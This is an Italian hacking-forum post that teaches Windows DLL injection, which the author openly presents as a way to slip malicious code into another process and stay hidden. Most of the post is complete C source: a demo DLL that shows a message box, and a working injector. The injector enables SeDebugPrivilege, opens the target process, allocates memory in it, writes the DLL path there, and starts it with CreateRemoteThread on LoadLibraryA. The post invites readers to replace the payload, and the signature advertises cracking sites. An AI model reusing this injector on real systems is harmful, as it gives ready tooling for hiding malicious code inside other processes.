admin Founder


Registrato: Oct 03, 2008 Messaggi: 261
|
Inviato: Ven Gen 16, 2009 2:57 pm Oggetto: DLL injecition |
|
|
Oggi vi parlerò di una tecnica( sotto windows ) che permette di iniettare del codice malevolo in un processo attraverso una dll e un programma scritto in C.Naturalmente non vi darò i source e basta ma darò una spiegazione( spero completa ) di tutta la tecnica. Il codice del programma scritto in C non è mio, ci tengo a dirlo, dato che non conosco le API di windows e quindi non avrei mai potuto scriverlo(il codice era stato postato su hackingeasy, ma ora nel topic è stato cancellato e spostato in vip)
Il processore ci permette di eseguire istruzioni, e avendo il suo controllo, abbiamo il controllo assoluto della macchina, e se nascondiamo le nostre operazioni, lo resteremo a lungo! E' proprio questo lo scopo di questa tecnica. Il trucco consiste nell'ottenere il pid( Process Identifier ) di un processo, come ad esempio cmd.exe( se il processo non è attivo il codice non può essere iniettato ), e poi far eseguire la dll al nostro processo. In questo modo il codice malevolo non saràeseguito dal nostro programma, ma bensi dal cmd.exe!
Ricapitolando, i passi che ci permettono di svolgere questa operazione sono:
1)Trovare il pid del processo
2)Aprire il processo remoto
3)Allocare uno spazio di memoria
4)Scrivere sullo spazio allocato le nostre istruzioni
5)Avviare un thread sul processo temoto
Tutto ciò può essere fatto utilizzando le API di windows(OpenProcess(), VirutalAllocEx() etc..).
La prima cosa da fare è creare la Dll, ossia il codice che dobbiamo far eseguire al processo. Per farlo da windows aprite il Dev C++, create un processo di tipo DLL, e spuntate la casella "C Project". Cancellate tutto il contenuto dei due file che si vengono a creare, dllmain.c e dll.h e ora scriviamo il nostro codice, che in questo caso faràsemplicemente apparire un alert.
Dllmain.c:
[spoiler] | Codice: | /* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DLLIMPORT void HelloWorld ()
{
MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
}
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ ,
DWORD reason /* Reason this function is being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", MB_OK); return TRUE;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
| [/spoiler]
Dll.h:
[spoiler] | Codice: | #ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
DLLIMPORT void HelloWorld (void);
#endif /* _DLL_H_ */
| [/spoiler]
Il file dll.h può essere modificato semplicemente aggiungendo i prototipi delle funzioni che utilizzerete, mentre dllmain.c può essere modificato a vostro piacimento, ma prima dovete avere una buona, se non ottima sia del C( per capire il codice ) sia delle API di windows ( per creare codici più complessi ).
Ora passiamo al vero e proprio codice che permette di iniettare la dll precedentemente creata. Nel codice sono presenti 3 variabili che possono essere modificate:
processName: qui inserite il nome del processo e non dimenticate il .exe
logFile: qui inserite il nome del file di log sul quale andare a controllare il possibile fallimento o successo delle operazioni
dllName: qui inserite il nome del file.dll che avete creato prima
Create un progetto, Windows Application, spuntate la casellina "C Project" e inserite questo codice
main.c:
[spoiler] | Codice: | /*************************************
* created by Komrade
* http://unsecure.altervista.org
*************************************/
#include <stdio.h>
#include <windows.h>
/********************************************************************
trova il Process Identifier di un processo passato come parametro
parametri:
procName = nome del processo di cui trovare il PID
log = puntatore al file utilizzato come log
valore ritorno:
PID del processo in caso di successo, -1 in caso di errore
*********************************************************************/
int trovaPid(char *procName, FILE *log);
/********************************************************************
abilita il privilegio SE_DEBUG_NAME al processo in esecuzione
parametri:
log = puntatore al file utilizzato come log
valore ritorno:
1 in caso di successo, 0 in caso di errore
*********************************************************************/
int abilitaSeDebugName(FILE *log);
int main(int argc, char **argv){
char processName[] = "calc.exe"; /* Nome processo su cui effettuare injection */
char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
char dllName[]="dll.dll"; /* Nome dll da cui prelevare il codice da iniettare */
HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;
fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);
pid = trovaPid(processName, fp);
if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
return 0;
}
check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
return -1;
}
remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);
check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
return -1;
}
thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());
fprintf(fp, "CreateThread %d\n", GetLastError());
fprintf(fp, "\nInjection eseguita\n");
fclose(fp);
return 0;
}
int trovaPid(char *procName, FILE *log){
typedef struct _LSA_UNICODE_STRING { /* struttura dati di una stringa Unicode */
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef struct _STRING { /* struttura dati di una stringa Ansi */
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, *PANSI_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
}SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESSES { /* Informazioni sui processi di sistema (struttura non completa) */
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
ULONG BasePriority;
ULONG ProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
/* Definizione delle funzioni non presenti nei compilatori tradizionali */
typedef DWORD (WINAPI *PfZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PBYTE, ULONG, PULONG);
typedef DWORD (WINAPI *PfRtlAnsiStringToUnicodeString)(PUNICODE_STRING, PANSI_STRING, BOOL);
typedef DWORD (WINAPI *PfRtlUnicodeStringToAnsiString)(PANSI_STRING, PUNICODE_STRING, BOOL);
typedef DWORD (WINAPI *PfRtlCompareUnicodeString)(PUNICODE_STRING, PUNICODE_STRING, BOOL);
PfZwQuerySystemInformation MyZwQuerySystemInformation;
PfRtlAnsiStringToUnicodeString MyRtlAnsiStringToUnicodeString;
PfRtlUnicodeStringToAnsiString MyRtlUnicodeStringToAnsiString;
PfRtlCompareUnicodeString MyRtlCompareUnicodeString;
BOOL check;
int pid = -1;
void *pStruct; /* buffer per contenere la struttura delle informazioni sui processi */
ULONG dimBuffer = 0x20000; /* dimensione del buffer pStruct (64 Kb) */
PSYSTEM_PROCESSES sp;
ANSI_STRING buffAnsi;
UNICODE_STRING buffUni;
ULONG dimRich;
buffAnsi.Buffer = (PCHAR)malloc(lstrlenA(procName) + 1);
lstrcpyA(buffAnsi.Buffer, procName);
buffAnsi.Length = lstrlenA(buffAnsi.Buffer);
buffAnsi.MaximumLength = lstrlenA(buffAnsi.Buffer);
MyRtlAnsiStringToUnicodeString = (PfRtlAnsiStringToUnicodeString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlAnsiStringToUnicodeString");
MyRtlAnsiStringToUnicodeString(&buffUni, &buffAnsi, TRUE);
pStruct = (void *)malloc(dimBuffer);
MyZwQuerySystemInformation = (PfZwQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwQuerySystemInformation");
check = MyZwQuerySystemInformation(SystemProcessesAndThreadsInformation, (PBYTE)pStruct, dimBuffer, &dimRich);
if (check != 0){
fprintf(log, "Errore ZwQuerySystemInformation() dimensione minima buffer: 0x%x\n", dimRich);
return -1;
}
/* ciclo di ricerca del processo da terminare */
do{
sp = (PSYSTEM_PROCESSES) pStruct;
MyRtlUnicodeStringToAnsiString = (PfRtlUnicodeStringToAnsiString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlUnicodeStringToAnsiString");
MyRtlUnicodeStringToAnsiString(&buffAnsi, &(sp->ProcessName), TRUE);
fprintf(log, "Process Name: %s\tProcess ID: %d\n", buffAnsi.Buffer, sp->ProcessId);
MyRtlCompareUnicodeString = (PfRtlCompareUnicodeString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCompareUnicodeString");
check = MyRtlCompareUnicodeString(&buffUni, &(sp->ProcessName), TRUE);
if (check == 0){
fprintf(log, "FOUND!!\n");
pid = sp->ProcessId;
}
pStruct = (void*)((ULONG)pStruct + sp->NextEntryDelta);
}
while(sp->NextEntryDelta != 0);
return pid;
}
int abilitaSeDebugName(FILE *log){
BOOL check;
HANDLE currProc, tok;
LUID lu_sdn;
TOKEN_PRIVILEGES tp;
LUID_AND_ATTRIBUTES luaa;
currProc = GetCurrentProcess();
if (currProc == NULL){
fprintf(log, "Errore GetCurrentProcess() %d\n", GetLastError());
return 0;
}
check = OpenProcessToken(currProc, TOKEN_ALL_ACCESS, &tok);
if (check == 0){
fprintf(log, "Errore OpenProcessToken() %d\n", GetLastError());
return 0;
}
check = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lu_sdn);
if (check == 0){
fprintf(log, "Errore LookupPrivilegeValue() %d\n", GetLastError());
return 0;
}
/* abilitazione del privilegio SE_DEBUG_NAME */
tp.PrivilegeCount = 1;
luaa.Luid = lu_sdn;
luaa.Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0] = luaa;
check = AdjustTokenPrivileges(tok, FALSE, &tp, sizeof(tp), NULL, NULL);
if (check == 0){
fprintf(log, "Errore AdjustTokenPrivileges() %d\n", GetLastError());
return 0;
}
return 1;
}
| [/spoiler]
Le strutture presenti nel codice sono un pò difficili da capire se non conoscete le API, ma la parte di codice in trovaPid e main è facilmente comprensibile, anche i nomi delle API portano all'intuizione del loro compito: OpenProcess() penso che sia la funziona che apra il processo, penso...
Ora potete compilare il tutto, e quindi ci ritroviamo nome dll.dll e main.exe. Provate ad eseguire main.exe, subito dopo se avete fatto tutto correttamente appariràun alert, altrimenti nel file di log potete andare a controllare il tipo di errore che avete commesso.
Spero di essere stato chiaro!Alla prossima
fonte: d3vilc0de _________________ D3vil-C0de Crew => http://d3vilc0de.org
My Spaces => http://kinginfet.135.it
My Tool Cracker => http://totalcracker.135.it
My Dj Site => http://djkinginfet.135.it |
|